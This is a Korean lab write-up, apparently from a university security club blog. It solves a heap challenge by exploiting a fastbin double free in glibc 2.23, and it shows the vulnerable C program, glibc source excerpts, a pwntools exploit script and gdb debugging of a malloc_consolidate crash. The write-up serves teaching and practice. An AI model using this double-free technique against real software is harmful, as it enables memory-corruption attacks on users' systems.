security/가디언

lab 09 - Heap: double free bug in old libc(<2.26)

민사민서 2023. 8. 26. 18:21

문제 코드 및 분석

#include <stdint.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "flag.h"

#define COUNT 16
#define ASSERT(cond) if(!(cond)) exit(100);

int getint() {
    char buf[16] = {0};
    ASSERT(read(0, buf, 15) >= 1);
    return atoi(buf);
}

typedef struct {
    char *buf;
    size_t size;
} note;

char* admin_ptr = NULL;

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);

    note notes[COUNT] = {0};
    unsigned int index = 0, size = 0;
    while(1) {
        printf("====== Option ======\n1. add note\n2. delete note\n3. edit note\n4. call admin\n");

        switch(getint()) {
            case 0:
                return 1;
            case 1: {
                printf("Index: ");
                index = getint();
                if(index >= COUNT)
                    return 1;
                printf("Size: ");
                size = getint();
                if(size >= sizeof(void *) * 128) {
                    return 2;
                }
                notes[index].buf = malloc(size);
                notes[index].size = size;
                if(!notes[index].buf) {
                    printf("Out of memory!\n");
                    return 3;
                }
                printf("Added!\n");
                break;
            }
            case 2: {
                printf("Index: ");
                index = getint();
                if(index >= COUNT)
                    return 1;
                free(notes[index].buf);
                notes[index].size = 0;
                printf("Deleted!\n");
                break;
            }
            case 3: {
                printf("Index: ");
                index = getint();
                if(index >= COUNT)
                    return 1;
                printf("Data: ");
                memset(notes[index].buf, 0, notes[index].size);
                read(0, notes[index].buf, notes[index].size);
                break;
            }
            case 4: {
                if (!admin_ptr) {
                    admin_ptr = malloc(0x20);
                    strcpy(admin_ptr, "Admin is not here.\n");
                }
                printf("Oh, %s", admin_ptr);
                if(admin_ptr && !strcmp(admin_ptr, "Admin is back!\n")) {
                    printf("Now you can get your key :)\n\n");
                    print_key("");
                    return 0;
                }
                break;
            }
            default:
                printf("Invalid option!\n");
        }
    }
}

- double free 취약점, use after free 취약점 발생 가능

void __cdecl print_key(char *input)
{
  FILE *fp; // [esp+14h] [ebp-414h]
  size_t len; // [esp+18h] [ebp-410h]
  char buf[1024]; // [esp+1Ch] [ebp-40Ch] BYREF
  unsigned int v4; // [esp+41Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  fp = (FILE *)fopen("..////flag", &unk_8048DA0);
  if ( !fp )
    err(1, "Please insert your kflag.ko to get the flag!");
  fputs(input, fp);
  puts("This is your flag:\n");
  do
  {
    len = fread(buf, 1, 1023, fp);
    buf[len] = 0;
    printf("%s", buf);
  } while ( len > 0x3FE );
  putchar(10);
  fclose(fp);
}

- IDA로 분석한 print_key 함수

 

Double Free를 이용한 풀이 (glibc<2.26, tcache 없는 버전)

1. double free detection 우회하기

free 두 번 연속으로 하면 double free 감지되어 crash

https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c 여기서 malloc.c 소스코드 확인해보니

    /* Atomically link P to its fastbin: P->FD = *FB; *FB = P;  */
    mchunkptr old = *fb, old2;
    unsigned int old_idx = ~0u;
    do
      {
	/* Check that the top of the bin is not the record we are going to add
	   (i.e., double free).  */
	if (__builtin_expect (old == p, 0))
	  {
	    errstr = "double free or corruption (fasttop)";
	    goto errout;
	  }
	/* Check that size of fastbin chunk at the top is the same as
	   size of the chunk that we are adding.  We can dereference OLD
	   only if we have the lock, otherwise it might have already been
	   deallocated.  See use of OLD_IDX below for the actual check.  */
	if (have_lock && old != NULL)
	  old_idx = fastbin_index(chunksize(old));
	p->fd = old2 = old;
      }
    while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);

fastbin에 삽입 시 최상단의 mchunkptr이랑 삽입하려고하는 mchunkptr이랑 동일한지 확인한다

free(a); free(b); free(a); 이렇게 중간에 dummy chunk 하나 free 해주면 우회 가능하다

 

* chunk 2개를 할당하고 1->2->1 이 순으로 해제하여 double free한다

* double free 후 하나는 admin_ptr에 할당하고 다른 하나를 notes[2]에 할당한다

* notes[2].buf "Admin is back!\n"으로 수정하면 admin_ptr의 chunk도 수정되겠네

from pwn import *

filename = "./target"
p = process(["../ld-2.23.so", filename], env={"LD_PRELOAD": "../libc-2.23.so"})

def add_note(idx, size):
// 생략
def delete_note(idx):
//생략
def edit_note(idx, data):
// 생략
def call_admin():
// 생략

add_note(0,32) # chkA
add_note(1,32) # chkB
delete_note(0)
delete_note(1) # to prevent crash
delete_note(0) # fastbin[0x28]: chkA -> chkB -> chkA -> chkB ...
add_note(2,32) # chkA
add_note(3,32) # chkB
call_admin() # admin_ptr = chkA
edit_note(2, "Admin is back!\n\x00")
call_admin()

p.interactive()

 

2. double free 우회 성공했는데 print_key() 내부에서 SIGSEGV 뜬다

- gdb.attach(p) 해서 확인해보니 fread() 내부에서 SIGSEGV가 뜬다

- 그 당시 코드상황을 확인해보니 EBP="Admi" 이런 값이 들어가있고, DWORD PTR [ebp+8] 값 접근하려다가 에러

 

bt 명령어를 이용해 이 당시 호출 스택 프레임 backtrace 해보면

https://youngsouk-hack.tistory.com/66 여기서 fread() 내부 동작 자세히 설명해주심

fread() 내부에서 _IO_sgetn() -> _IO_xsgetn_t() -> _IO_doallocbuf() 호출되어 malloc() 만큼 동적 할당되네??

 

frame 2 명령어와 i r 레지스터 명령어 이용해 특정 스택 프레임의 레지스터 상태 확인해보면

malloc(0x1000) 명령 이루어졌음을 알 수 있음 // 당연히 fread(buf, 0x1, 0xfff, fp) 였으니까

 

fastbins 명령어를 이용해 fastbin[0x28]에 담긴 chunk들을 살펴봤는데 없었다

참고로 fread() 호출 직전까지만 해도 chunk들이 잘 있었다

 

결론: malloc(0x1000) 호출되면서 모종의 이유로 fastbins에 존재하는 free chunk들을 전부 꺼내게 되었는데, 그 과정에서 오염된 next ptr을 따라가다 SIGSEGV 에러가 떴다 (사실 EBP = "Admi" 들어가있는 것으로 눈치 챌 수 있음)

 

malloc.c 코드에서 그 근거를 찾았는데

  /*
     If this is a large request, consolidate fastbins before continuing.
     While it might look excessive to kill all fastbins before
     even seeing if there is space available, this avoids
     fragmentation problems normally associated with fastbins.
     Also, in practice, programs tend to have runs of either small or
     large requests, but less often mixtures, so consolidation is not
     invoked all that often in most programs. And the programs that
     it is called frequently in otherwise tend to fragment.
   */

  else
    {
      idx = largebin_index (nb);
      if (have_fastchunks (av))
        malloc_consolidate (av);
    }

fastbin, smallbin 범위보다 큰 크기의 요청이 들어오면 fastbins chunk들을 모두 꺼내 병합하는 과정을 거친다

이 과정에서 오염된 next ptr이 문제가 된 것

 

* free(chkA); free(chkB); free(chkA); 함으로써 이미 fastbin free chunk 간의 loop이 생성됨 (서로를 next로 가리킴)

* chkA의 next 포인터가 오염된 상태이므로 chkB의 next 포인터를 0으로 바꿔줌으로써 chain 끝내버림

add_note(0,32) # chkA
add_note(1,32) # chkB
delete_note(0)
delete_note(1) # to prevent crash
delete_note(0) # fastbin[0x28]: chkA -> chkB -> chkA -> chkB ...
add_note(2,32) # chkA
add_note(3,32) # chkB
call_admin() # admin_ptr = chkA
edit_note(2, "Admin is back!\n\x00") # fastbin[0x28]: chkB -> chkA -> 0x696d6441 (chain crashes)
edit_note(3, p32(0x0)) # fastbin[0x28]: chkB
call_admin()

p.interactive()

 

쨌든 에러 생겼을 때 backtrace 및 gdb.attach() 이용해 원인 분석하고 libc에서 근거 찾는 연습은 됐네